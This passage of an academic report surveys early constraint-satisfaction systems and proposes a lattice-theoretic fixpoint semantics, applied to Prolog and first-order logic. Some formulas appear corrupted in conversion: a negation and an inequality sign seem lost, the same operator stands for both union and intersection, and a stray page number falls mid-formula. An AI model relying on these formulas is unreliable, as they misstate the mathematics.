Waltz[WALZ72] used the constraint satisfaction technique to limit the search space in the problem of assigning labels to parts of visual scenes represented as line drawings. The line drawing formed a constraint network and the goal was to assign a labeling to each junction. Waltz used local propagation and found that for many problem instances, it would converge to a unique solution or one with very few alternatives to be resolved by a global search. The efficiency of the algorithm
stimulated a lot of interest in this area. Waltz however, used a finite number of variables with finite domains. Moreover, all his constraints were binary, and his representation simultaneously represented all valid states of the system.
2.3 Ref-Arf
Ref-Arf developed by Fikes [FIKE70] was intended to be a general problem solver. Its intellectual predecessor was GPS. Fikes used constraint satisfaction techniques to solve problems input to the system in the form of non-deterministic procedures. The system has three well-defined and distinct parts.
The first is the input language (called Ref) in which the user inputs the problem. The problem is coded as a nondeterministic procedure in Ref. Ref is a simple programming language with ordinary arithmetic and the following interesting features.
1. Identifiers stand for vectors (similar to fixed length arrays). Individual fields of the vector can be accessed and modified.
2. Each identifier has a scalar value associated with it. This is denoted by <id> where id is the identifier.
3. Ref has a special operator called “Select” that takes one operand. This operand is a range of values. Fikes used only discrete and finite ranges. “Select” nondeterministically selects a value from the given range.
4. The “set” command is similar to an assignment statement. The first operand is a variable and the second is a value. The second operand could be a select statement, in which case, the value is non-deterministic.
5. Conditional statements of the form
if condition then code
are allowed.
6. Goto statements are allowed.
7. Ref cannot handle infinite sets and does not have the facility of parameterized procedures.
Once a problem is entered as a procedure written in Ref, an interpreter takes over. The purpose of the interpreter is to translate the procedure into a format suitable for the application of constraint satisfaction/manipulation techniques. The third module tries to solve the problem using constraint satisfaction and heuristic search techniques. Fikes' approach is a direct descendent of Floyd's [FLOY67] work.
on translating a procedure written in a nondeterministic programming language, into a procedure in the base programming language which finds acceptable values for the select function calls using a backtracking algorithm. Fikes claims that these procedures can be translated into procedures which allow the application of algorithms stronger than backtracking.
The interpreter for Ref (called Arf) is not always able to translate a problem stated in Ref into a single constraint satisfaction problem represented as a context structure (see fig. 1). This happens in the interpretation of an "if" statement, a computed goto or even an assignment statement where the target of the assignment depends on the value of some variable. The interpreter then performs what is called case analysis, i.e., it constructs more than one context structure corresponding to the different paths the execution could take.
Arf manipulates constraints by first simplifying them into their normal form. For example, $1 = 5$ would be replaced by FALSE and $\neg (a = b)$ would be replaced by $(a = b)$. Once the constraints have been reduced to their standard form, the constraint manipulation techniques are applied.
Ref-Arf has reasonably sophisticated constraint manipulation techniques. The principal techniques are
1. elimination of variables from constraints,
2. elimination of elements from variable ranges,
3. deduction of inconsistencies among constraints.
These are carried out at each stage of the backtracking search. An interesting feature is that constraint manipulation is combined with value assignment in order to reduce the search space of the problem. Arf has a variable ordering strategy (which is applied at each value assignment step) that determines which variable ought to be instantiated next. Some intuitively justifiable criteria for determining the ordering are
1. the domain size of the variable,
2. the number of constraints in which the variable appears,
3. the constraint "tightness" of the principal operators of the constraints in which the variable occurs. For instance, an equality constraint is considered to be a very "tight" constraint.
## 2.4 Thinglab
Thinglab [BORN81] is a constraint satisfaction system built on top of Smalltalk 76. Although it is meant to be a graphic simulation laboratory, it is very much an object
Variables
\( V(1) = \{ \text{value1...} \} \)
\( V(2) = \{ \text{value1...} \} \)
\ldots
\( V(n) = \{ \text{value1...} \} \)
Constraints
\( C_1 \)
\ldots
\( C_n \)
end.
Figure 2.1: A Context Structure
oriented language primarily concerned with the representation and satisfaction of constraints.
In Thinglab, nonprimitive objects are constructed hierarchically from parts which are themselves other objects. Constraints provide a natural way to express the relation among parts and subparts. An interesting aspect of Thinglab is the integration of the use of constraints with inheritance hierarchies in the definition of new objects. Some examples of constraints in Thinglab are
1. that a triangle be twice as big as another,
2. that a node in a circuit obey Kirchoff's laws.
Constraints are represented as rules and as a set of methods that can be invoked to satisfy the constraint. The rule is a procedural test for checking whether the current state of the system satisfies the constraint or not. The methods are the different ways of satisfying the constraint.
Attached to each method is what is called a message plan. A message plan is an abstraction of the Smalltalk notion of sending a message. A message plan does not stand for a particular act of sending a message; rather, it is a template for any number of messages that might be sent. Each message plan specifies how to invoke the corresponding method and describes its effects. When the constraint satisfier chooses one of the methods to be invoked at runtime, the message plan that represents that method is asked to generate the code that will send the appropriate message to activate the method.
The constraints are specified by the user. It is up to the system to satisfy them. The system takes various factors into consideration.
1. The directionality of constraints.
2. Compromise between local optimization and global consistency.
3. Handling of circular and/or interfering constraints.
A notable feature of Thinglab is that it is the first system that talks about compiling constraints into plans in the base language. Further, the presence of a class-instance mechanism and inheritance allows information common to several objects to be abstracted.
### 2.5 Constraints
Guy Steele’s 1980 MIT Ph.D. dissertation reports the most recent efforts in the development of a general programming language based on constraints. Steele makes a strong case for constraints as a natural paradigm for problem solving. An interesting point made by Steele is that constraints provide a graphic visual imagery
Class triangle
Superclasses
GeometricObject
Part description
side1 : a line
side2 : a line
base : a line
Constraints
length(base) <= length(side1) + length(side2)
length(side1) <= length(side2) + length(base)
length(side2) <= length(side1) + length(base)
end.
Figure 2.2: Example of a constraint in Thinglab
that helps human thought processes. They are particularly well suited to expressing programs for certain applications, in particular, relationships arising in computer aided design.
Steele's system is configured as a network where each node is a constraint and arcs joining two nodes represent the variables shared by the two constraints. Each node behaves like a process running in parallel with the rest of the network. There is a library of primitive constraints or devices from which are constructed complex constraint networks. Computation is triggered by giving a value to one of the lines (or variables).
*Constraints* records the justifications for any computation. This helps in resolving any global inconsistencies which could arise at any intermediate stage in the computation. The language provides a form of dependency directed backtracking in which, the culprit (the subcomputation responsible for the inconsistency) is determined and its effects are undone. Dependencies are recorded by attaching a special data structure called the *repository* to each cell which contains all the information about a variable. The repository has the following fields.
1. A *supplier* which is the cell that first provided the value for the repository.
2. A *rule* which is the name of the rule (or constraint) used to compute the value. The rule component is null if the repository has no value, or if the supplier is a primitive (i.e., a constant).
3. A *mark* which is normally null but is available to serve as mark bit for the various graph algorithms that the system uses.
An important job of the dependency recording unit is to keep the dependency information from becoming circular. The second purpose of recording dependencies is to provide explanations for the computation carried out by the constraint satisfier.
It is generally agreed that a constraint system ought to have the property that it works if one gives it only a little information, and works better if one gives it more information. In other words, a constraint-based system should so far as possible be monotonic. There are certain situations however, when one would like to continue the computation in a *reasonable* direction, i.e., have the capability for *default* behavior. Constraints allows a limited form of nonmonotonicity by permitting the use of assumptions. Another use of assumptions is in case analysis. If it is known that a variable must take values from a specific set, then one element of that set can be arbitrarily assumed to be the value of the variable; the value is discarded if it leads to a contradiction. *Constraints* has two special constructs *assume* and *oneof*. *Assume* assumes some fact to be true whereas *oneof* is the equivalent of Ref-Arf's *select* construct.
In the case of a contradiction, the assumptions and any computations based on them are retracted. This information is also stored for future use in what are called *nogood sets*. Nogood sets prevent the computation from repeating its mistakes.
Steele’s language is built on top of LISP and uses the various facilities—garbage collection for instance—provided by it. It has several other features including the facility for the definition and use of macro-constraints. It is outside the scope of this report to give a more detailed description of the language. Constraints represents one of the best efforts in designing a general purpose language based on the paradigm of constraints.
2.6 Constraint Propagation with Interval Labels
Ernest Davis[DAV85][DAV87] discusses various aspects of a special kind of constraint propagation which he calls constraint propagation with interval labels. In this, a constraint satisfaction problem is configured as a network and each node is labelled with a set of possible values. In assimilation, the constraints are used to restrict these sets. In query answering, the term to be evaluated is expressed as a function of some of the nodes, and the system must calculate the range of values of the term, given the label sets of the component nodes. Davis defines an operator called Refine that takes a node and a constraint and produces a set of values for that node which are consistent with that constraint and all other labels. This operator is applied over and over again till refinement produces no more changes. The network is then said to have reached a state of quiescence.
Davis deals with different aspects of such systems. Some of them are
1. the representation of constraints in terms of the nodes,
2. the order in which constraints are to be run,
3. the kind of implicit constraints to be used,
4. the conditions for ensuring that refinement reaches quiescence
5. and the design of the assimilator and the query answerer and their completeness issues.
Davis also discusses the different classes of constraints and gives complexity expressions for solving a network of such constraints. He proves the completeness of the Waltz’s algorithm for propagation around constraints of bounded differences and interval label inference on unit coefficient linear inequalities. The interested reader is referred to [DAV85] and [DAV87].
2.7 Summary
In this chapter, we looked at some of the more important work done on constraint based systems. It is, by no means, an exhaustive survey. Nadel[NAD86A][NAD86B]
has reported work on theory based heuristics for determining various factors such as search order, problem representation format etc. Constraint satisfaction systems have been used in other specialized domains such as planning. It is clear, that constraint satisfaction offers a rich paradigm of computation.
Chapter 3
A Semantic Schema for Computations using Constraints
3.1 Motivation
The primary thrust in this report is to find out whether constraint based computations operate on any well understood mathematical entities. There are several reasons for wanting to establish such a relationship. Constraint satisfaction methods are intuitively appealing and strikingly similar to the way we humans model problems. They are sufficiently general in nature and have a very simple and flexible control structure. A formal interpretation of these methods would afford a better understanding and also enable us to characterize them precisely.
We want to determine if the constraint satisfaction process can be captured by a mathematical operator operating on some domain. If such a operator does exist, then its properties would give us useful information about the constraint satisfaction process itself. Note, that this approach is similar to the denotational approach to specifying the semantics of a language.
We observed earlier that the term constraints represents a large class of very different entities. Davis[87] gives a list – by no means exhaustive – of the different kinds of constraints. Some of them – in increasing order of complexity – are
1. unary predicates,
2. order languages (consisting only of order relationships),
3. linear equations and inequalities with unit coefficients,
4. linear equations and inequalities with arbitrary coefficients,
5. algebraic equations,
6. transcendental equations.
It is difficult - perhaps impossible - to give a single function that completely specifies all classes of constraints and computations based on them. Our goal is to show that if a transformation \( T \) (not necessarily unique) can be associated with each class of constraints, then these \( T \)'s satisfy certain basic properties.
It is a common practice in the study of programming languages to associate transformations with recursively defined procedures. These transformations define the meaning or denotation of such procedures[GLAS84]. It is necessary to impose some structure on the sets these transformations operate on. The minimum set of denotable values \( (D) \) in any programming language is
\[
D = \text{basic constants} + [D \rightarrow D]
\]
(3.1)
where \([D \rightarrow D]\) is the set of functions from \( D \) to \( D \). If we use unrestricted sets and functions, then there is no set that satisfies the above definition. It is easy to see why this is so. For any set \( S \), the set of functions defined on \( S \) will always contain many more elements than \( S \) itself. For example, consider the set of functions that map elements of \( S \) into \( \{0, 1\} \). For each element of \( S \), we have two choices for the mapping and thus we can define \( 2^n \) distinct functions if \( n \) is the cardinality of \( S \). For any reasonable \( n \), \( 2^n \) is much bigger than \( n \). The problem can be solved by imposing a structure, a partial ordering on the sets and constraining functions to preserve the structure. The transformation \( T \) associated with a procedure maps sets of input-output tuples into other sets of input-output tuples. Our interest is chiefly in transformations that preserve the structure (partial order) imposed on these sets. When the associated transformation is monotonic, the meaning of the procedure \( P \) is defined to be
\[
\text{intersection}\{I : T(I) \leq I\}
\]
(3.2)
where \( I \) is a set of input-output tuples. It can be shown[LOYD84] that (3.2) is equal to
\[
\text{intersection}\{I : T(I) = I\}
\]
(3.3)
(3.3) gives the least fixpoint of the transformation \( T \). Intuitively, The set (3.3) completely describes the input-output behavior of \( P \) and is all we need to know about \( P \) in order to specify it completely. (3.3) consists of all the valid input-output tuples for the procedure \( P \). At this point we need some definitions and simple concepts of partially ordered sets.
### 3.2 Definitions
#### 3.2.1 Definition 1
Let \( S \) be a set of elements \( a, b, c \ldots \) where a relation of equality \( x = y \) is already defined; then a relation \( \mathcal{O} \) of partial order over \( S \) is any dyadic (binary) relation over \( S \) which is
1. reflexive: for every $a$ in $S$ $aOa$;
2. antisymmetric: if $aOb$ and $bOa$, then $a = b$;
3. transitive: if $aOb$ and $bOc$, then $aOc$.
The symbol $O$ in $aOb$ will generally be replaced by "$\leq$"; if $a \leq b$ we say that $a$ is less than or equal to $b$.
### 3.2.2 Definition 2
A set $S$ over which a relation $O$ of partial order is defined is called a partially ordered set.
### 3.2.3 Theorem 1
If a set $S$ is partially ordered by a relation $O$, then $S$ is partially ordered by the converse relation $O'$ where $xO'y$ iff $yOx$.
### 3.2.4 Definition 3
$g$ is a lowerbound for a set $T$ iff $g \leq t$ for all $t$ in $T$. If $g$ is such that $b \leq g$ for all lowerbounds $b$ of $T$ then $g$ is called the greatest lower bound of the set $T$.
An analogous definition exists for the least upper bound for a set $T$.
### 3.2.5 Definition 4
A lattice is a partially ordered set $A$ with the ordering relation denoted by $\leq$ such that for any two elements $a$ and $b$ in $A$, there is a least upper bound (join) $a \cup b$ and a greatest lower bound (meet) $a \cap b$. The lattice $(A, \leq)$ is said to be complete if every subset $B$ of $A$ has a least upper bound and a greatest lower bound in $A$. Such a lattice has two special elements.
1. $0 = \vee A$.
2. $1 = \cup A$.
The last definition is taken from [TARS55] and the rest are from [DONN68]. We shall consider functions on $A$ to $A$ and relate them with the deductive techniques used in constraint satisfaction and theorem proving. A function $f$ on a subset $B$ of $A$ to another subset $C$ of $A$ is said to be increasing if for any 2 elements $s, t$ in $B$ $s \leq t$ implies $f(s) \leq f(t)$. By a fixpoint of a function $f$ we understand an element $x$ of the domain of $f$ such that $f(x) = x$.
3.3 Constraint Satisfaction
We observed earlier that the basic constraint satisfaction algorithm tries to find instantiations for variables that satisfy all the constraints simultaneously. The refine operator discussed in [DAV87] suggests that we can associate a transformation with constraint satisfaction that operates on a partially ordered set. Refine is defined as follows.
Let $C$ be a constraint on variables $x_1, \ldots, x_n$. Let $S_i$ be the label (value) set for $x_i$. Then
$$\text{REFINE}(C, x_j) = \{ a_j \in S_j | \text{there exists } (a_i \in S_i, i = 1, \ldots, n, i \neq j) C(a_1, \ldots, a_j, \ldots, a_n) \}.$$
That is, $\text{refine}(C, x_j)$ is the set of values for $x_j$ which is consistent with all the labels $S_i$. A value $a_j$ is in $\text{refine}(C, x_j)$ if $a_j$ is in $S_j$ and it is part of some $k$-tuple $a_1, \ldots, a_n$ which satisfies $C$ and all the $S_i$. This operator is sound deductively; if a tuple satisfies the constraint and the starting value sets, then it satisfies the refined value sets.
In the following section, we present two ways of constructing the partially ordered set and the associated transformation $T$. As we shall see, the least fixpoints of the transformations in the two systems, have direct correspondence with the assimilation and query answering systems of [DAV85].
Assimilation refers to forward inference on constraint networks, in which all the constraints are assimilated into the value sets of the variables. Value sets of variables are refined using local groups of constraints. These changes are propagated through the network of constraints. Computation reaches an end whenever no more refinement can be performed. In query answering the value of a term has to be calculated using the current value sets.
3.3.1 A lattice theoretic approach
Let $V = \{v_1, \ldots, v_n\}$ be a set of variables.
Let $D = \{D_1, \ldots, D_n\}$ be the domains from which each $v_i$ can take values.
Let $C = \{c_1, \ldots, c_m\}$ be a set of constraints in which one or more of the variables occur.
- Define the set $U$ as follows.
$$U = \{(u_1, \ldots, u_n) | u_i \text{ subsetof } D_i \text{ for } 1 \leq i \leq n\}.$$
Let the partial order "≤" be the superset relationship. For \( u, v \) in \( U \), \( u \leq v \) iff \( v_i \subseteq u_i \) for \( 1 \leq i \leq n \). The least upper bound of two elements \( u, v \) is the element \((u_1 \lor v_1, \ldots, u_n \lor v_n)\), where the operator \( \lor \) represents set intersection. The greatest lower bound of two elements \( u, v \) in \( U \) is the element \((u_1 \lor v_1, \ldots, u_n \lor v_n)\), where \( \lor \) represents set union.
**Theorem 1:** The system \( \{U, \leq\} \) forms a complete lattice. Further, it forms a Boolean algebra with the top element equal to \((\text{nil}, \ldots, \text{nil})\) and the bottom element equal to \((D_1, \ldots, D_n)\).
We can associate an operator \( T \) with the constraint satisfaction/propagation algorithm. \( T \) maps elements of \( U \) to elements of \( U \). It closely mimics the operator \textit{refine} defined earlier. Every application of \( T \) takes us upward in the lattice. \( T \) is clearly monotonic. After some number of applications of \( T \), no more \textit{refinement} takes place and a state of quiescence is reached. This corresponds to a fixpoint of the operator \( T \).
**Theorem:** \( T \) has a least fixpoint. Suppose not. Let \( F_1 \) and \( F_2 \) be two minimal fixpoints such that \( F_1 \leq F_2 \) and \( F_2 \leq F_1 \). Consider \( F = \text{glb}(F_1, F_2) \). \( F = (F_{11} \cup F_{21}, \ldots, F_{1n} \cup F_{2n}) \). \( F \) itself is a fixpoint of \( T \). \( T \) cannot refine \( F \) since it cannot refine its constituents \( F_1 \) and \( F_2 \). But \( F \leq F_1 \) and \( F \leq F_2 \) which contradicts the minimality of \( F_1 \) and \( F_2 \).
**Example**
Let \( V = \{x, y\} \). Let \( D_x = \{2, 3, 4\} \). Let \( D_y = \{1, 2, 3\} \).
\( C_1 = \{x = y\} \).
The refined label sets are \( D_x' = \{2, 3\} \) and \( D_y' = \{2, 3\} \). Assimilation has reached quiescence and \((D_x' \times D_y')\) is the fixpoint of the corresponding \( T \). The answer however, is a proper subset of \((D_x' \times D_y')\). Further processing needs to be done at the time of query answering. This could involve the addition of new (explicit or implicit) constraints to the system. In the present example, the constraint \( x - y = 0 \) may have to be added to get the correct answer.
- Define \( U \) in a slightly different fashion.
\[ U = \{x | x \text{ subsetof } \times D, 1 \leq i \leq n\} \]
where \( \times D_i \) denotes the cross-product of \( D_1, \ldots, D_n \). Each element of \( U \) is a set of \( n \)-tuples. Each \( n \)-tuple can be looked upon as an interpretation of the variables in the constraint satisfaction problem. Each element of \( U \) is, therefore, a set of such interpretations. We are interested in finding the maximal set of such interpretations that are consistent with all the constraints simultaneously.
The system \( \{U \leq\} \) forms a complete lattice. The partial order is the superset relationship as before. \( \{U \leq\} \) is also referred to as the powerset lattice. The operator \( T \) throws out an inconsistent interpretation at each step. It is monotonic and has a least fixpoint. The least fixpoint corresponds to the set of all consistent interpretations.
Note that the \( T \) here is more powerful than the one previously defined. The stage at which quiescence is reached corresponds to the completion of both assimilation and query answering.
**Example**
Let us consider a particular problem from the viewpoint of constraint satisfaction. The problem we shall look at is unification. Unification is a very important problem and a lot of work has been done on it. It is widely used in resolution based theorem proving systems, where equality between complementary literals is established using unification. The reader is referred to [LOYD84] for details.
We state the problem of unification in its general form. Let \( s_1 = t_1, \ldots, s_n = t_n \) be a set of equations where \( s_1, \ldots, s_n, t_1, \ldots, t_n \) are arbitrary terms. A term is defined by the following grammar.
\[
\text{term} ::= \text{variable} \mid \text{functor(term*)}
\]
where variable and functor are from disjoint sets. Let \( x_1, \ldots, x_n \) be the set of all distinct variables occurring in the equations. Let \( D_1, \ldots, D_n \) be the domains of each of these variables. Note that \( D_i, D_j, i \neq j \) may not be disjoint and/or finite. The problem is to find instantiations of \( x_1, \ldots, x_n \) that satisfy the set of equations simultaneously.
The basic unification algorithm is syntactic in nature and does not take into account, the properties of the functors. For example, \(+ (4 \ 2)\) would fail to unify with the term \(+ (3 \ 3)\). The only constraints that the algorithm handles are syntactic equality constraints.
It is possible to extend the unification algorithm to a general constraint satisfaction algorithm with the capability for handling other constraints such as set membership, order relationships etc. Capability for handling functors that compute relations and those that are used to create complex data structures can be incorporated into the algorithm. Sundararajan [SUND87] has developed an interpreter for Prolog which allows constraints in the body of a clause and also views unification as constraint satisfaction. The procedures for computing the relations that the constrained functors represent should, however, be decidable, in order to ensure the termination and correctness of
the unification algorithm. The reader is referred to [SUND87] for details. The least fixpoint of the transformation associated with such a system would then be the set of all consistent instantiations of the variables. This corresponds to the maximal set of unifiers for the system.
3.4 Summary
In this chapter, we saw that a general characterization could be given for constraint satisfaction problems. A partial order can be defined on the vector of values of the variables. The ordering relation - set inclusion - is very well behaved and makes it easy to establish the existence of various properties. The schema presented above can be fruitfully applied to specific classes of constraints; the properties of the operator T can help determine the behavior of the system for a particular class of constraints. In the next chapter, we shall study logic programming from the viewpoint of constraint satisfaction. We shall show that constraint solving can be incorporated into logic programs in more than one way. The unification algorithm can be replaced by a general constraint satisfaction technique as described in [SUND87]. Also, we can view theorem proving as constraints among atomic predicates and use constraint satisfaction techniques to derive contradictions.
Chapter 4
An Application in Logic
Constraint satisfaction techniques have traditionally been used in the context of numerical computations. [DAV87] describes most of the interesting classes of problems that can be solved using CS/CP algorithms. In this chapter, we shall apply the constraint schema from Chapter 3 to logic programming.
Today, one of the most interesting and active areas of research in computer science is computation using logic. The use of logic in computer science is not a recent phenomenon. It has always been used as a specification or declarative language. In the early 1960's, it was the basis of work in automated theorem proving and Artificial Intelligence. The most important result in this phase of automated deduction was the discovery of the resolution principle by Robinson. It was not until 1971-72, however, that the idea that sentences in logic could be used as computer programs took shape. Kowalski [KOWA74] and Colmerauer showed independently, that statements of a subset of first order logic had a procedural interpretation as well. A program clause \( P \leftarrow P_1, \ldots, P_n \) can be considered to be a procedure definition, and a goal clause \( G_1, \ldots, G_m \) can be looked upon as a series of procedure calls. The most important practical outcome of this research is the development of the language Prolog and other similar languages. In the rest of this chapter, we shall assume the reader's familiarity with elementary logic.
4.1 Prolog and its Semantics
Prolog is the most popular logic programming language. A Prolog program consists of a collection of definite clauses. A definite clause (or Horn clause) is a statement of the form
\[
P \leftarrow Q_1 \text{ and } Q_2 \text{ and } \ldots \text{ and } Q_n (n \geq 0).
\]
in which \( P, Q_1, \ldots, Q_n \) are atomic. An atom is defined by the following simple grammar.
atom ::= pred(term*)
term ::= variable | functor(term*).
Pred, functor, and variable here are disjoint sets of symbols representing predicates, functors and variables. The above clause represents the universally quantified formula
$$Q_1 \text{ and } Q_2 \text{ and } \ldots \text{ and } Q_n \Rightarrow P.$$
$n = 0$ results in an unqualified assertion (or fact or axiom); $n > 0$ results in an inference rule. A Prolog program can be viewed as a set of such axioms and inference rules. Another view is to consider all the clauses to be axioms with resolution as the only inference rule.
Given a program of the form described above, one would like to determine the truth of a conjunction of atoms relative to it. There are two ways of doing this. The first is to construct a model for the program and determine whether the atom belongs to the model. This corresponds to the model-theoretic approach in which we try to establish semantic entailment. The second is to derive the atom as a theorem of a first order theory using the clauses in the program as a set of axioms and using some set of inference rules. This corresponds to the proof-theoretic approach where the notion of formal derivability is important.
The abstract interpreter for Prolog takes the latter approach. The only inference rule used is resolution. The proof system takes the negative approach, i.e., it is set up as a refutation system. The negation of the theorem to be proved is added as an axiom and the system tries to derive the empty clause, which implies that the negated theorem is inconsistent with the axioms.
As a consequence of Gödel's completeness theorem for first order logic, the two approaches are equivalent. In fact, there exists a canonical model for definite clause programs, which is the least Herbrand model and is equal to the set of all logical consequences of the program. An equivalent fixpoint semantics can also be given for Prolog programs. The set of theorems is exactly equal to the least fixpoint of a monotonic and continuous operator over the complete lattice formed by $\{2^{Bp}, \text{set inclusion}\}$ where $Bp$ is the Herbrand base associated with the program $p$. This operator captures the intuitive notion of implication. A thorough treatment of the above can be found in [VAND76], [APT82] and [LOYD84].
It is remarkable that the three approaches to describing the semantics of Prolog programs coincide. Such a neat semantics however, does not come without a price. The expressive power of Prolog programs leaves much to be desired. The use of definite clauses makes it very difficult to express negative information, i.e., the notion of "falsehood". We have to turn to some very non-intuitive interpretations. Some of them are the closed world hypothesis and a somewhat weaker notion of negation as finite failure.
All Prolog interpreters achieve negation as finite failure. Negation as failure states that if $A$ cannot be proved from the program $P$ then not$(A)$ is a theorem.
This does not correspond with our intuitive notion of falsehood. We would like to believe that something is false if any belief to the contrary would lead to a contradiction (i.e. something being inferred as true and false at the same time). Failure to establish \( A \) implies that the truth or falsity of \( A \) is independent of \( P \). Also, the interpreter with a depth first left to right control strategy might fail to terminate for very obvious and simple programs. Consider the following program.
\[
\begin{align*}
P &\leftarrow Q \\
P &\leftarrow \text{not}(Q) \\
Q &\leftarrow P.
\end{align*}
\]
Given the goal \( P \) the above program would fail to terminate. It is obvious that \( P \) follows from the program (at least in classical logic). In fact, the interpreter may go into a loop while trying to prove theorems as well as while trying to show that something is not a theorem.
There is another feature that limits the expressive power of logic programs in a crippling way. At the core of all logic programming languages is the unification algorithm. The unification algorithm was first given by Robinson in [ROB65] and most logic programming systems still use it with few or no changes. Unification determines the syntactic equality of a set of terms that belong to the Herbrand universe. By restricting itself to uninterpreted terms over the Herbrand universe, the algorithm fails to establish the equality between terms such as \(+\(3\, 3\)) and \(+\(4\, x\)). Some of the extensions proposed to the unification algorithm incorporate a set of axioms for establishing equality ([PLOT72]). They, however, deal with the simplest of arithmetic terms outside the system in an ad hoc fashion. We discussed this problem earlier, in the previous chapter.
Sundararajan ([SUND87]) has developed an interpreter for PROLOG that replaces unification by the solution (most general) to a network of constraints. The interpreted symbols he handles are \(+, <, >\), disequality, and set membership). Terms containing uninterpreted symbols are related by syntactic equality. The Herbrand universe is replaced by a many sorted domain similar to the one described in the last chapter. The elements of the new Herbrand base \( (Bc) \) are obtained by taking the cross-product of the predicate symbols and elements of the many sorted domain. Consider \( \{2^{Bc}, \text{set inclusion}\} \). It forms a complete lattice. Describe \( Tc \) as follows.
If \( I \) is an element of \( 2^{Bc} \) then
\[
Tc(I) = \{ s \ \text{element of} \ Bc \mid \text{there is a clause} \ P \leftarrow P_1 \text{ and } P_2 \text{ and } \ldots P_n \text{ and the constraint solver outputs} \text{ the set of solutions } \delta \text{ such that} \ (P)\delta = s \text{ and} \}
\]
25
\( \{ P_i \} \delta \) belongs to \( I \), \( 1 \leq i \leq n \).
An important issue is whether we can give a least model semantics that corresponds to the least fixpoint of \( Tc \) defined above. We do not have theorems to show that the above property holds. Jaffar and Lassez ([JAFF87]) have proposed a more general approach by allowing constraints in the body of clauses as well. [SUND87] also allows constraints in the body. In fact, he does not require the constraints to appear before the goals. According to Jaffar et al, prolog with constraints fits in well with their logic programming scheme.
A second approach is to consider arbitrary well formed formulas of first order logic to be constraints among atomic predicates. The constraint symbols are all the logical operators (and, or, not \( \leq \)). Instead of treating negation as finite failure, we have true logical negation.
It is well known that the largest subset of first order logic that has an initial model is the definite clause subset. We shall therefore require that the set of formulas in our program be consistent. Also, there are no least models for the system that we describe here. The least fixpoint of the associated transformation, however, gives the set of logical consequences of the set of formulas (or program).
### 4.2 A Constraint Satisfaction Approach
We shall treat formulas of first order logic as constraints and show that the least fixpoint of the transformation associated with the truth-functional calculus computes the set of logical consequences of a program. It will be generally agreed that the clauses in a Prolog program express constraints. In fact, all well formed formulas of any first order language express constraints between objects in an intended domain. We shall not restrict our constraints to be Horn clauses but shall require that the following preprocessing be done on the constraints.
1. \( A <= B \) is replaced by \( A => B \) and \( B => A \).
2. Negation signs are moved inward.
3. Variables are renamed if necessary.
4. Existential quantifiers are removed by replacing existentially quantified variables with unique constants or functions of universally quantified variables.
5. All remaining variables are understood to be universally quantified.
We would like to restate the problem as a constraint satisfaction problem. There is more than one way of doing this. Consider a set of first order constraints (with at least one predicate symbol and one ground term).
1. The variables of the CS problem are all the predicate symbols appearing in the constraints. For a finite set of constraints, there are a finite number of such variables. The domain of values of an n-ary predicate symbol is
\[ \text{Dom}(P_n) = \{(x_1, x_2, \ldots, x_n) | (x_1 \ldots x_n) \text{ element of } \times (H)\} \]
where \( H \) is the Herbrand universe for the set of constraints and \( \times (H) \) represents the cross-product of \( H \) taken \( n \) times. \( \text{Dom}(P_n) \) will be infinite for constraints containing at least one function symbol. The denotation of a predicate \( P_n \) is the set of tuples \((x_1 \ldots x_n)\) such that \( P_n(x_1 \ldots x_n) \) is logically implied by or is consistent with the constraints. The problem is to determine the denotation of each predicate. \( \text{Den}(P_n) \) is a subset of \( \text{Dom}(P_n) \). Therefore, the constraint satisfaction operates on the following complete partial order.
\[ U = \{(Y_1 \ldots Y_m) | \text{Y_i subsetof Dom}(P_i)\} \]
The program has \( m \) predicate symbols and \( \text{Dom}(P_i) \) is the domain of \( P_i \). The partial ordering is the superset relationship. Note that \( U \) is very similar to \( 2^B_p \) where \( B_p \) is the Herbrand base for the set of constraints \( P \). In fact, it is the inverse of the lattice formed by \( \{2^B_p, \text{set inclusion}\} \).
2. In classical logic there are two truth values. Given a set of premises, we would like to know if an atom is semantically entailed by the premises or not, i.e., given a set of true sentences what is the truth value of an atom \( A \). Is it true or is it false? Or are the constraints not tight enough to impose a truth value upon the atom. This is the most intuitive and appealing approach to all logical arguments. The approach adopted in the semantic tableaux method is very similar.
The variables in our problem then are all the ground atoms that can be constructed from the predicate symbols and the elements in the Herbrand Universe. All atoms take values from a single domain \( D = \{T, F\} \). Define
\[ U = \{(u_1, \ldots, u_n) | u_i \text{ subsetof } \{T, F\}\}. \]
where \( n \) is generally infinite.
\( U \) forms a complete lattice with the superset relation as the partial order. The lub of two elements is given by set intersection and the glb is given by set union.
Define an operator \( \mathcal{O} \) from \( U \) to \( U \) as follows
(a) If \((P_1 \text{ and } P_2 \text{ and } \ldots \text{ and } P_n \Rightarrow P)\) is a ground instance of a constraint \((P_1 \ldots P \text{ are atoms})\) and \( F \) is not present in the domains of \( P_1 \ldots P_n \) in \( I \), then remove \( F \) from the domain of \( P \) in \( \mathcal{O}(I) \).
(b) If \((\text{not}(P))\) is a ground instance of a constraint then remove \(T\) from the domain of \(P\) in \(O(I)\).
(c) If \((P \lor Q)\) is a ground instance of a constraint and \(T\) is not present in the domain of \(P(Q)\), then remove \(F\) from the domain of \(Q(P)\) in \(O(I)\).
(d) If \(((P \Rightarrow Q) \Rightarrow R)\) is a ground instance of a constraint, and \(T\) is absent from the domain of \(P\) in \(I\), then remove \(F\) from the domain of \(R\) in \(O(I)\). Similarly if \(F\) is absent from the domains of both \(P\) and \(Q\) then remove \(F\) from the domain of \(R\) in \(O(I)\).
Proofs for following theorems are simple and along the lines of [LOYD84].
**Theorem 1:** The operator \(O\) is monotonic.
**Theorem 2:** All \(I\)'s in \(U\) for which \(O(I) \leq I\) are models for the set of constraints.
**Theorem 3:** The least fixpoint of \(O\) is equal to
\[
\text{glb}\{I | O(I) \leq I\}.
\]
**Theorem 4:** \(O\) is continuous. By continuous we mean if \(I_1 \leq I_2 \leq \ldots \leq I_n\) then
\[
\text{lub}(O(I_i)) = O(\text{lub}(I_i)) \quad 1 \leq i \leq n.
\]
We sketch the proof for the case when (3.1) above applies to \(O\).
**PROOF:** Consider the ground constraint \((P_1 \land \ldots \land P_n) \Rightarrow P\).
\(F\) is absent from the domain of \(P\) in \(O(\text{lub}(I_i))\)
iff \(F\) is absent from the domain of \(P_1, \ldots, P_n\) in \(\text{lub}(I_i)\) \(1 \leq i \leq n\)
iff \(F\) is absent from the domain of \(P_1, \ldots, P_n\) in some \(I_j 1 \leq j \leq n\)
iff \(F\) is absent from the domain of \(P\) in \(O(I_j)\) for some \(j 1 \leq j \leq n\)
iff \(F\) is absent from the domain of \(P\) in \(\text{lub}(O(I_i))\) \(1 \leq i \leq n\).
